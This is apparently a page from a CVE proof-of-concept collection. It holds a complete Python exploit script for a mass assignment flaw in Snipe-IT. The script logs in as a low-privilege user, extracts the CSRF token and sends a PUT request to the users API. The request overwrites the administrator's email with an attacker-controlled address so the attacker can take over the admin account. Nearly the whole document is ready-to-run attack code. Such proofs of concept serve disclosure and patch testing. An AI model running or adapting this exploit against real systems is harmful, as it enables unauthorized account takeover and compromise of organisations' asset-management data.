5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_auth.py PY
import requests
from bs4 import BeautifulSoup
import argparse
import sys

# Configuration
BASE_URL = "http://localhost:8000"
LOGIN_URL = f"{BASE_URL}/login"

print("""
                                                                         
 ▄▄▄▄▄▄▄                             ▄▄▄▄▄▄▄                             
█████▀▀▀       ▀▀                    ███▀▀███▄                           
 ▀████▄  ████▄ ██  ████▄ ▄█▀█▄ ████▄ ███▄▄███▀ ██   ██ ████▄ ▄█▀█▄ ████▄ 
   ▀████ ██ ██ ██  ██ ██ ██▄█▀ ██ ▀▀ ███▀▀▀▀   ██ █ ██ ██ ██ ██▄█▀ ██ ▀▀ 
███████▀ ██ ██ ██▄ ████▀ ▀█▄▄▄ ██    ███        ██▀██  ██ ██ ▀█▄▄▄ ██    
                   ██                                                    
                   ▀▀                                                    
""")
print("Snipe-IT Mass Assignment Exploit (Account Takeover)")
print("\n")

def parse_args():
    parser = argparse.ArgumentParser(description="Snipe-IT Mass Assignment Exploit (Account Takeover)")
    
    # target admin infos
    parser.add_argument("--target-id", type=int, default=1, help="ID of the target admin user (default: 1)")
    parser.add_argument("--admin-username", type=str, required=True, help="Username of the admin account")
    parser.add_argument("--admin-firstname", type=str, required=True, help="First name of the admin account")
    parser.add_argument("--admin-email", type=str, required=True, help="New email of the admin account (Account Takeover) - put a attacker controlled email")
    
    # attacker creds
    parser.add_argument("--attacker-username", type=str, required=True, help="Username of the attacker's account")
    parser.add_argument("--attacker-password", type=str, required=True, help="Password of the attacker's account")
    
    return parser.parse_args()

def login(args):
    session = requests.Session()
    
    # 1 get login page to fetch CSRF token
    print(f"Fetching login page: {LOGIN_URL}")
    try:
        response = session.get(LOGIN_URL)
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(f"Error fetching login page: {e}")
        return None

    soup = BeautifulSoup(response.text, 'html.parser')
    token_input = soup.find('input', {'name': '_token'})
    
    if not token_input:
        print("Could not find CSRF token on login page.")
        return None
        
    csrf_token = token_input['value']
    print(f"CSRF Token found: {csrf_token}")

    # 2 perform login
    payload = {
        '_token': csrf_token,
        'username': args.attacker_username,
        'password': args.attacker_password
    }
    
    print(f"Attempting login as {args.attacker_username}")
    try:
        response = session.post(LOGIN_URL, data=payload, allow_redirects=True)
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(f"Error during login POST: {e}")
        return None

    # 3 verify login success
    if response.url == f"{BASE_URL}/" or "dashboard" in response.url or "Logout" in response.text:
        print("Login successful!")
        return session, csrf_token
    else:
        print("Login failed. Check credentials or response.")
        return None

def exploit(session, csrf_token, args):
    target_url = f"{BASE_URL}/api/v1/users/{args.target_id}"
    print(f"\n[*] Sending Exploit Payload to {target_url}...")
    
    headers = {
        'X-CSRF-TOKEN': csrf_token,
        'Content-Type': 'application/json',
        'Accept': 'application/json'
    }

    # Payload for Mass Assignment
    payload = {
        "username": args.admin_username,
        "first_name": args.admin_firstname,
        "email": args.admin_email,
        "activated": 1,
    }

    try:
        response = session.put(target_url, json=payload, headers=headers)
        
        if response.status_code == 200:
            print("EXPLOIT SUCCESSFUL!")
            
            print("\nInfos:")
            print(f"Username: {args.admin_username}")
            print(f"First Name: {args.admin_firstname}")
            print(f"Email: {args.admin_email}")
        else:
            print("Exploit failed.")
            
    except requests.exceptions.RequestException as e:
        print(f"Error during exploit request: {e}")

if __name__ == "__main__":
    args = parse_args()
    result = login(args)
    
    if result:
        session, csrf_token = result
        exploit(session, csrf_token, args)